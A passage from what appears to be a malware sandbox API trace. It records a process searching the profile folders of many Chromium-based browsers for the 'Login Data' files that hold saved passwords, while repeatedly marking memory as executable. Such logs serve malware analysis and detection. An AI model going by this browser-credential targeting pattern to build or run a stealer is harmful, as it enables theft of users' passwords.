hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0155.883] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2ecc, cbMultiByte=7, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="OrbitumDATA%\\Amigo\\User Data\\er Data\\r Data\\㟌瑿") returned 7 [0155.883] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0cfc, cbMultiByte=33, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Orbitum\\User Data\\ Data\\r Data\\㟌瑿") returned 33 [0155.883] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Orbitum\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Orbitum\\User Data\\") returned 0x33 [0155.883] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Orbitum\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0155.883] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.883] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Orbitum\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\orbitum\\user data\\login data")) returned 0xffffffff [0155.883] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0155.884] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0155.884] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf300c, cbMultiByte=7, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="BromiumDATA%\\Orbitum\\User Data\\ Data\\r Data\\㟌瑿") returned 7 [0155.884] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0dd8, cbMultiByte=33, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Bromium\\User Data\\ Data\\r Data\\㟌瑿") returned 33 [0155.884] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Bromium\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Bromium\\User Data\\") returned 0x33 [0155.884] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Bromium\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0155.888] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.888] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.889] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.889] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.890] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.968] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.969] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.969] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.970] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.970] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.971] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.971] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.972] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.972] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.973] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.973] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.974] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Bromium\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\bromium\\user data\\login data")) returned 0xffffffff [0155.974] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0155.974] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0155.974] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3150, cbMultiByte=8, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="ChromiumATA%\\Bromium\\User Data\\ Data\\r Data\\㟌瑿") returned 8 [0155.974] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0eb8, cbMultiByte=34, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Chromium\\User Data\\Data\\r Data\\㟌瑿") returned 34 [0155.974] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.975] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chromium\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data\\") returned 0x34 [0155.975] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0155.975] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.975] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\chromium\\user data\\login data")) returned 0xffffffff [0155.975] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0155.975] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0155.976] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf329c, cbMultiByte=8, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="NichromeATA%\\Chromium\\User Data\\Data\\r Data\\㟌瑿") returned 8 [0155.976] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0f9c, cbMultiByte=34, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Nichrome\\User Data\\Data\\r Data\\㟌瑿") returned 34 [0155.976] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Nichrome\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Nichrome\\User Data\\") returned 0x34 [0155.976] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Nichrome\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0155.976] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.976] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Nichrome\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\nichrome\\user data\\login data")) returned 0xffffffff [0155.976] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0155.976] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0155.976] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf33ec, cbMultiByte=8, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="RockMeltATA%\\Nichrome\\User Data\\Data\\r Data\\㟌瑿") returned 8 [0155.977] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1084, cbMultiByte=34, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\RockMelt\\User Data\\Data\\r Data\\㟌瑿") returned 34 [0155.977] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\RockMelt\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\RockMelt\\User Data\\") returned 0x34 [0155.977] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\RockMelt\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0155.977] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.977] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\RockMelt\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\rockmelt\\user data\\login data")) returned 0xffffffff [0155.977] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0155.977] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0155.978] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3540, cbMultiByte=10, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="360BrowserA%\\RockMelt\\User Data\\Data\\r Data\\㟌瑿") returned 10 [0155.978] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1170, cbMultiByte=44, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\360Browser\\Browser\\User Data\\a\\㟌瑿") returned 44 [0155.978] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\360Browser\\Browser\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\360Browser\\Browser\\User Data\\") returned 0x3e [0155.980] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.981] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.981] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.982] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.982] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.983] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.983] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.984] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.984] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\360Browser\\Browser\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0155.984] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.985] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.985] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.985] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\360Browser\\Browser\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\360browser\\browser\\user data\\login data")) returned 0xffffffff [0155.985] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0155.985] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0155.986] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3698, cbMultiByte=7, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="VivaldiDATA%\\360Browser\\Browser\\User Data\\a\\㟌瑿") returned 7 [0155.986] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf126c, cbMultiByte=33, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Vivaldi\\User Data\\\\User Data\\a\\㟌瑿") returned 33 [0155.986] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.986] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Vivaldi\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Vivaldi\\User Data\\") returned 0x33 [0155.986] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Vivaldi\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0155.987] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.987] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Vivaldi\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\vivaldi\\user data\\login data")) returned 0xffffffff [0155.987] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0155.987] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0155.987] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf37f0, cbMultiByte=5, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="OperaPPDATA%\\Vivaldi\\User Data\\\\User Data\\a\\㟌瑿") returned 5 [0155.987] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, 